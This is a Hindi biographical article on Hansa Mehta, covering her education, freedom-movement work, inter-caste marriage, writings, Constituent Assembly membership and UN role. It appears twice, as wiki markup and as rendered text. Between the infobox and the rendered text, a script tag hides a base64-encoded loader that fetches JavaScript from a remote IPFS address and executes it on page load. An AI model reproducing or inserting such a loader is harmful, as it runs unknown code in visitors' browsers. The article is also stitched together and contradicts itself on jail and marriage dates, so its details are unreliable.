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}}'''हंसा मेहता''' ([[अंग्रेज़ी]]: ''Hansa Mehta'', जन्म: [[3 जुलाई]], [[1897]]; मृत्य: [[4 अप्रॅल]], [[1995]]) एक समाजसेवी, स्वतंत्रता सेनानी और शिक्षाविद के रूप में [[भारत]] में काफ़ी प्रसिद्ध रही हैं। इनके [[पिता]] मनुभाई मेहता [[बड़ौदा]] और [[बीकानेर]] रियासतों के [[दीवान]] थे। हंसा मेहता का [[विवाह]] देश के प्रमुख चिकित्सकों में से एक तथा [[गाँधीजी]] के निकट सहयोगी [[जीवराज मेहता]] जी के साथ हुआ था। [[भारत का संविधान|भारत के संविधान]] को मूल रूप देने वाली समिति में 15 महिलाएं भी शामिल थीं। इन्होंने संविधान के साथ भारतीय समाज के निर्माण में भी महत्वपूर्ण भूमिका निभाई। हंसा मेहता इन्हीं में से एक थीं।
'''हंसा मेहता''' ([[अंग्रेज़ी]]: Hansa Mehta, जन्म: [[3 जुलाई]], [[1897]] - मृत्य: [[4 अप्रॅल]], [[1995]]) एक समाजसेवी, स्वतंत्रता सेनानी और शिक्षाविद के रूप में [[भारत]] में काफ़ी प्रसिद्ध रही हैं। इनके [[पिता]] मनुभाई मेहता [[बड़ौदा]] और [[बीकानेर]] रियासतों के [[दीवान]] थे। हंसा मेहता का [[विवाह]] देश के प्रमुख चिकित्सकों में से एक तथा [[गाँधी जी]] के निकट सहयोगी [[जीवराज मेहता]] जी के साथ हुआ था।
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==परिचय==
==शिक्षा==
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हंसा मेहता का जन्म [[3 जुलाई]], [[1897]] ई. को हुआ था। बड़ौदा राज्य में [[दर्शनशास्त्र]] के प्राध्यापक, जो बाद में बड़ौदा राज्य के [[दीवान]] भी रहे, सर मनुभाई मेहता के घर हंसा मेहता का जन्म हुआ। 'करन घेलो' जिसे गुजराती साहित्य का पहला [[उपन्यास]] माना जाता है, के उपन्यासकार नंद शंकर मेहता, हंसा मेहता के दादा थे। घर में पढ़ने-लिखने का महौल था तो हंसाबेन (हंसा मेहता) ने [[बड़ौदा]] के विद्यालय और महाविद्यालय में दर्शनशास्त्र से बी.ए. ऑर्नस किया। एक संरक्षित माहौल में शिक्षा ग्रहण करने में हंसाबेन को अधिक मुश्किलों का सामना नहीं करना पड़ा।
हंसा मेहता का जन्म [[3 जुलाई]], [[1897]] ई. को हुआ था। हंसा की शिक्षा आरम्भ में [[बड़ौदा]] में हुई। [[1919]] में वे [[पत्रकारिता]] और समाजशास्त्र की उच्च शिक्षा के लिए [[इंग्लैण्ड]] चले गईं। वहाँ उनका परिचय [[सरोजनी नायडू]] और [[राजकुमारी अमृत कौर]] से हुआ। इसी परिचय का प्रभाव था कि आगे चलकर हंसा मेहता ने स्वतंत्रता संग्राम में भी भाग लिया।
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====शिक्षा====
==देश व समाज सेवा==
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हंसाबेन जब पत्रकारिता की पढ़ाई करने [[इंग्लैड]] पहुंची, तब वहां उनकी मुलाकात [[सरोजिनी नायडू]] से हुई। सरोजिनी नायडू के साथ हंसाबेन महिला आंदोलन के बारे में दीक्षित तो हुई ही, सार्वजनिक सभाओं में भी शिरकत करना शुरू किया। सरोजनी नायडू के साथ वह एक अंतरराष्ट्रीय सम्मेलन में जेनेवा भी गईं। पत्रकारिता की पढ़ाई खत्म करके हंसाबेन [[अमेरिका]] की यात्रा पर गईं, जहां वह शिक्षण संस्थाए, शैक्षणिक एवं सामाजिक कार्य सम्मेलनों में शामिल हुईं, मताधिकार करने वाली महिलाओं से मिलीं। हंसाबेन सैन फ्रांसिस्को, शंघाई, सिंगापुर और कोलंबो होती हुईं [[भारत]] आईं। अपनी यात्रा के अनुभवों को 'बॉम्बे क्रॉनिकल' में प्रकाशित किया।<ref name="pp">{{cite web |url= https://www.youthkiawaaz.com/2019/07/life-history-of-hansa-mehta/|title=लड़कियों के लिए 14 वर्ष तक निशुल्क और अनिवार्य शिक्षा की पैरवी करने वाली हंसाबेन|accessmonthday=05 फ़रवरी|accessyear=2020 |last= |first= |authorlink= |format= |publisher=youthkiawaaz.com |language=हिंदी}}</ref>
अध्ययन पूरा करके हंसा मेहता [[1923]] में [[भारत]] वापस आ गईं और [[मुम्बई]] के प्रसिद्ध चिकित्सक डॉ. जीवराज मेहता से उनका विवाह हो गया। हंसा ने [[साइमन कमीशन]] के बहिष्कार में आगे बढ़कर भाग लिया और [[सविनय अवज्ञा आन्दोलन]] में शराब और विदेशी वस्त्रों की दुकानों पर धरना देने में महिलाओं का नेतृत्व किया। महिलाओं को संगठित करके उनके माध्यम से समाज में जागृति उत्पन्न करने के काम में भी वे अग्रणी थीं। इन्हीं सब कारणों से विदेशी सरकार ने [[1930]] और [[1932]] ई. में उन्हें जेल में बन्द कर दिया था।
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==अंतरजातीय विवाह==
==प्रतिनिधित्व==
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उस दौर में [[प्रतिलोम विवाह]] दूसरे शब्दों में अपने से निचली जाति में [[विवाह]] समाज को स्वीकार्य नहीं था। यह सामाजिक संरचना के विरुद्ध जाकर बहुत बड़ा कदम था।
महिलाओं की समस्याओं के समाधान के लिए प्रयत्नशील हंसा मेहता ने जेनेवा के 'अंतर्राष्ट्रीय महिला सम्मेलन' में [[भारत]] का प्रतिनिधित्व किया। [[1931]] में वे 'मुम्बई लेजिस्लेटिव कौंसिल' की सदस्य चुनी गईं। वे देश की संविधान परिषद की भी सदस्य थीं। [[1941]] से [[1958]] तक 'बड़ौदा विश्वविद्यालय' की वाइस चांसलर के रूप में उन्होंने शिक्षा जगत में भी अपनी छाप छोड़ी।
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हंसा मेहता ने [[जीवराज मेहता|डॉ. जीवराज एन. मेहता]] से विवाह करना तय किया तो नागर गृहस्थ समाज में शोर मच गया। ऊंची जाति का [[वैश्य]] के संग विवाह के प्रतिरोध के लिए [[गुजरात]] से [[बनारस]] तक में सभाएं की गईं और उन्हें जाति से बहिष्कृत कर दिया गया। इन सब चीज़ों से हंसाबेन विचलित नहीं हुईं और कहा- "जब जाति से बहिष्कृत हो ही चुकी हूं तो विवाह स्थगित करने का कोई तुक नहीं है"।
  
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हंसा मेहता के [[पिता]] तथा [[परिवार]] के अन्य सदस्यों के अनुमोदन से [[3 जुलाई]], [[1924]] को वह हंसाबेन से हंसा मेहता हो गईं। विवाह के पश्चात हंसा मेहता बंबई (वर्तमान [[मुंबई]]) आ गईं, जहां पति ने किंग एडवर्ड मेमोरियल हॉस्पिटल और जीएस मेडिकल कॉलेज में डीन का पद संभाला। बंबई हंसा मेहता की क्षमताओं के विकास के लिए अनुकूल शहर था। यहां हंसा मेहता ने शैक्षणिक और सामाजिक कल्याण की गतिविधियों में वक्त देना शुरू किया। वह गुजरात महिला सहकारी समिति, बंबई नगरपालिका विद्यालय समिति, राष्ट्रीय महिला परिषद, अखिल भारतीय महिला सम्मेलन आदि संस्थाओं से जुड़ी रहीं।
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==रचनाएं==
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हंसा मेहता ने [[गुजराती भाषा]] में बच्चों के लिए बाल साहित्य अनुवाद करना उस दौर में शुरू किया, जब बच्चों के लिए कुछ भी उपलब्ध नहीं था। उस समय केवल गिजूभाई मधोका बाल साहित्य के लिए गंभीरता से कार्य कर रहे थे। हंसाबेन ने 'बालवार्तावली' तैयार की, जो बाल कहानियों का संग्रह था। इसके बाद उन्होंने 'किशोरवार्तावली', 'बावलाना पराक्रम', 'पिननोशियों का अनुवाद', 'गुलिवस ट्रैवल्स' का अनुवाद किया। विभिन्न देशों की यात्रा का वर्णन उन्होंने 'अरुण नू अद्भुत स्वप्न', 'एडवेंचर्स ऑफ विक्रम', 'प्रिंस ऑफ अयोध्या' भी प्रकाशित किया।<ref name="pp"/>
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हंसाबेन ने शेक्सपियर के नाटकों का गुजराती अनुवाद, वाल्मीकि रामायण का [[संस्कृत]] से गुजराती अनुवाद किया। इसके साथ ही फ्रेंच भाषा की कुछ रचनाओं का भी गुजराती अनुवाद प्रकाशित किया। [[अंग्रेज़ी]] में तीन पुस्तिकाएं प्रकाशित की- 'वीमेन अंडर द हिंदू लॉ ऑफ मैरिज एंड सक्सेशन', 'सिविल लिर्बिटी' और 'इंडियन वुमेन'। बच्चों के लिए बाल साहित्य तैयार करना और सामाजिक गतिविधियों में सक्रिय होते हुए कई समितियों से जुड़ा होना हंसा मेहता के व्यक्तित्व का एक छोटा सा परिचय है। [[1930]] में जब हंसाबेन [[महात्मा गाँधी|गाँधी जी]] के साथ जुड़कर स्वतंत्रता आंदोलन से जुड़ीं तो उनके व्यक्तित्व का बहुआयामी पक्ष उभरकर सामने आया। स्वतंत्रता आंदोलन में सक्रिय भागीदारी में [[1932]] और [[1940]] में उनको जेल भी जाना पड़ा।
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==संविधान सभा सदस्य==
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स्वतंत्रता के बाद हंसा मेहता उन 15 महिलाओं में शामिल थीं, जो भारतीय संविधान का मसौदा तैयार करने वाली घटक विधानसभा (Constituent Assembly) का हिस्सा थीं। वे सलाहकार समिति और मौलिक अधिकारों पर उप समिति की सदस्य थीं। उन्होंने [[भारत]] में महिलाओं के लिए समानता और न्याय की वकालत की।
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==पद्म भूषण==
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हंसाबेन ने महिलाओं के स्तर में सुधार के अपने उद्देश्य को अंतरराष्ट्रीय परिदृश्य में भी रखने की कोशिश की। [[संयुक्त राष्ट्र संघ]] के 'महिलाओं के स्तर' से संबंधित आयोग में [[भारत]] का प्रतिनिधित्व किया और 'मानव अधिकारों का सार्वभौम घोषणापत्र' का प्रारूप तैयार करने वाले संयुक्त राष्ट्र मानवाधिकार आयोग में भारत का प्रतिनिधित्व किया। वह दर्जनों अंतरराष्ट्रीय प्रतिनिधिमंडलों में शैक्षणिक, सामाजिक और सांस्कृतिक मामलों में भारत का प्रतिनिधित्व करती रहीं। उनके इन योगदानों के लिए उन्हें सन [[1959]] में '[[पद्म भूषण]]' से विभूषित किया गया।<ref name="pp"/>
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==मृत्यु==
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कठिन परिस्थितियों में आशावादी रहने वाला लंबा जीवन जीते हुए [[4 अप्रॅल]], [[1995]] को अपने पीछे एक बड़े संघर्ष की पंरपरा छोड़कर चली गईं। महिलाओं के स्तर में सुधार के लिए उनके प्रयासों को [[संयुक्त राष्ट्र संघ]] ने सराहा और एक कालजयी विदुषी महिला के रूप उनके योगदानों को याद करता है।
  
 
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*[http://www.indianetzone.com/3/hansa_mehta.htm Hansa Mehta, Indian Freedom Fighter]
 
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==संबंधित लेख==
 
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हंसा मेहता
हंसा मेहता
पूरा नाम हंसा मेहता
जन्म 3 जुलाई, 1897
जन्म भूमि सूरत, गुजरात
मृत्यु 4 अप्रॅल, 1995
अभिभावक पिता- मनुभाई मेहता
पति/पत्नी जीवराज मेहता
नागरिकता भारतीय
प्रसिद्धि समाजसेवी, स्वतंत्रता सेनानी और शिक्षाविद
आंदोलन सविनय अवज्ञा आन्दोलन
जेल यात्रा 1930 और 1932 ई. में दो बार जेल गईं
पुरस्कार-उपाधि पद्म भूषण (1959)
अन्य जानकारी महिलाओं की समस्याओं के समाधान के लिए प्रयत्नशील हंसा मेहता ने जेनेवा के 'अंतर्राष्ट्रीय महिला सम्मेलन' में भारत का प्रतिनिधित्व किया।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>हंसा मेहता (अंग्रेज़ी: Hansa Mehta, जन्म: 3 जुलाई, 1897; मृत्य: 4 अप्रॅल, 1995) एक समाजसेवी, स्वतंत्रता सेनानी और शिक्षाविद के रूप में भारत में काफ़ी प्रसिद्ध रही हैं। इनके पिता मनुभाई मेहता बड़ौदा और बीकानेर रियासतों के दीवान थे। हंसा मेहता का विवाह देश के प्रमुख चिकित्सकों में से एक तथा गाँधीजी के निकट सहयोगी जीवराज मेहता जी के साथ हुआ था। भारत के संविधान को मूल रूप देने वाली समिति में 15 महिलाएं भी शामिल थीं। इन्होंने संविधान के साथ भारतीय समाज के निर्माण में भी महत्वपूर्ण भूमिका निभाई। हंसा मेहता इन्हीं में से एक थीं।

परिचय

हंसा मेहता का जन्म 3 जुलाई, 1897 ई. को हुआ था। बड़ौदा राज्य में दर्शनशास्त्र के प्राध्यापक, जो बाद में बड़ौदा राज्य के दीवान भी रहे, सर मनुभाई मेहता के घर हंसा मेहता का जन्म हुआ। 'करन घेलो' जिसे गुजराती साहित्य का पहला उपन्यास माना जाता है, के उपन्यासकार नंद शंकर मेहता, हंसा मेहता के दादा थे। घर में पढ़ने-लिखने का महौल था तो हंसाबेन (हंसा मेहता) ने बड़ौदा के विद्यालय और महाविद्यालय में दर्शनशास्त्र से बी.ए. ऑर्नस किया। एक संरक्षित माहौल में शिक्षा ग्रहण करने में हंसाबेन को अधिक मुश्किलों का सामना नहीं करना पड़ा।

शिक्षा

हंसाबेन जब पत्रकारिता की पढ़ाई करने इंग्लैड पहुंची, तब वहां उनकी मुलाकात सरोजिनी नायडू से हुई। सरोजिनी नायडू के साथ हंसाबेन महिला आंदोलन के बारे में दीक्षित तो हुई ही, सार्वजनिक सभाओं में भी शिरकत करना शुरू किया। सरोजनी नायडू के साथ वह एक अंतरराष्ट्रीय सम्मेलन में जेनेवा भी गईं। पत्रकारिता की पढ़ाई खत्म करके हंसाबेन अमेरिका की यात्रा पर गईं, जहां वह शिक्षण संस्थाए, शैक्षणिक एवं सामाजिक कार्य सम्मेलनों में शामिल हुईं, मताधिकार करने वाली महिलाओं से मिलीं। हंसाबेन सैन फ्रांसिस्को, शंघाई, सिंगापुर और कोलंबो होती हुईं भारत आईं। अपनी यात्रा के अनुभवों को 'बॉम्बे क्रॉनिकल' में प्रकाशित किया।[1]

अंतरजातीय विवाह

उस दौर में प्रतिलोम विवाह दूसरे शब्दों में अपने से निचली जाति में विवाह समाज को स्वीकार्य नहीं था। यह सामाजिक संरचना के विरुद्ध जाकर बहुत बड़ा कदम था।

हंसा मेहता

हंसा मेहता ने डॉ. जीवराज एन. मेहता से विवाह करना तय किया तो नागर गृहस्थ समाज में शोर मच गया। ऊंची जाति का वैश्य के संग विवाह के प्रतिरोध के लिए गुजरात से बनारस तक में सभाएं की गईं और उन्हें जाति से बहिष्कृत कर दिया गया। इन सब चीज़ों से हंसाबेन विचलित नहीं हुईं और कहा- "जब जाति से बहिष्कृत हो ही चुकी हूं तो विवाह स्थगित करने का कोई तुक नहीं है"।

हंसा मेहता के पिता तथा परिवार के अन्य सदस्यों के अनुमोदन से 3 जुलाई, 1924 को वह हंसाबेन से हंसा मेहता हो गईं। विवाह के पश्चात हंसा मेहता बंबई (वर्तमान मुंबई) आ गईं, जहां पति ने किंग एडवर्ड मेमोरियल हॉस्पिटल और जीएस मेडिकल कॉलेज में डीन का पद संभाला। बंबई हंसा मेहता की क्षमताओं के विकास के लिए अनुकूल शहर था। यहां हंसा मेहता ने शैक्षणिक और सामाजिक कल्याण की गतिविधियों में वक्त देना शुरू किया। वह गुजरात महिला सहकारी समिति, बंबई नगरपालिका विद्यालय समिति, राष्ट्रीय महिला परिषद, अखिल भारतीय महिला सम्मेलन आदि संस्थाओं से जुड़ी रहीं।

रचनाएं

हंसा मेहता ने गुजराती भाषा में बच्चों के लिए बाल साहित्य अनुवाद करना उस दौर में शुरू किया, जब बच्चों के लिए कुछ भी उपलब्ध नहीं था। उस समय केवल गिजूभाई मधोका बाल साहित्य के लिए गंभीरता से कार्य कर रहे थे। हंसाबेन ने 'बालवार्तावली' तैयार की, जो बाल कहानियों का संग्रह था। इसके बाद उन्होंने 'किशोरवार्तावली', 'बावलाना पराक्रम', 'पिननोशियों का अनुवाद', 'गुलिवस ट्रैवल्स' का अनुवाद किया। विभिन्न देशों की यात्रा का वर्णन उन्होंने 'अरुण नू अद्भुत स्वप्न', 'एडवेंचर्स ऑफ विक्रम', 'प्रिंस ऑफ अयोध्या' भी प्रकाशित किया।[1]

हंसाबेन ने शेक्सपियर के नाटकों का गुजराती अनुवाद, वाल्मीकि रामायण का संस्कृत से गुजराती अनुवाद किया। इसके साथ ही फ्रेंच भाषा की कुछ रचनाओं का भी गुजराती अनुवाद प्रकाशित किया। अंग्रेज़ी में तीन पुस्तिकाएं प्रकाशित की- 'वीमेन अंडर द हिंदू लॉ ऑफ मैरिज एंड सक्सेशन', 'सिविल लिर्बिटी' और 'इंडियन वुमेन'। बच्चों के लिए बाल साहित्य तैयार करना और सामाजिक गतिविधियों में सक्रिय होते हुए कई समितियों से जुड़ा होना हंसा मेहता के व्यक्तित्व का एक छोटा सा परिचय है। 1930 में जब हंसाबेन गाँधी जी के साथ जुड़कर स्वतंत्रता आंदोलन से जुड़ीं तो उनके व्यक्तित्व का बहुआयामी पक्ष उभरकर सामने आया। स्वतंत्रता आंदोलन में सक्रिय भागीदारी में 1932 और 1940 में उनको जेल भी जाना पड़ा।

संविधान सभा सदस्य

स्वतंत्रता के बाद हंसा मेहता उन 15 महिलाओं में शामिल थीं, जो भारतीय संविधान का मसौदा तैयार करने वाली घटक विधानसभा (Constituent Assembly) का हिस्सा थीं। वे सलाहकार समिति और मौलिक अधिकारों पर उप समिति की सदस्य थीं। उन्होंने भारत में महिलाओं के लिए समानता और न्याय की वकालत की।

पद्म भूषण

हंसाबेन ने महिलाओं के स्तर में सुधार के अपने उद्देश्य को अंतरराष्ट्रीय परिदृश्य में भी रखने की कोशिश की। संयुक्त राष्ट्र संघ के 'महिलाओं के स्तर' से संबंधित आयोग में भारत का प्रतिनिधित्व किया और 'मानव अधिकारों का सार्वभौम घोषणापत्र' का प्रारूप तैयार करने वाले संयुक्त राष्ट्र मानवाधिकार आयोग में भारत का प्रतिनिधित्व किया। वह दर्जनों अंतरराष्ट्रीय प्रतिनिधिमंडलों में शैक्षणिक, सामाजिक और सांस्कृतिक मामलों में भारत का प्रतिनिधित्व करती रहीं। उनके इन योगदानों के लिए उन्हें सन 1959 में 'पद्म भूषण' से विभूषित किया गया।[1]

मृत्यु

कठिन परिस्थितियों में आशावादी रहने वाला लंबा जीवन जीते हुए 4 अप्रॅल, 1995 को अपने पीछे एक बड़े संघर्ष की पंरपरा छोड़कर चली गईं। महिलाओं के स्तर में सुधार के लिए उनके प्रयासों को संयुक्त राष्ट्र संघ ने सराहा और एक कालजयी विदुषी महिला के रूप उनके योगदानों को याद करता है।


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टीका टिप्पणी और संदर्भ

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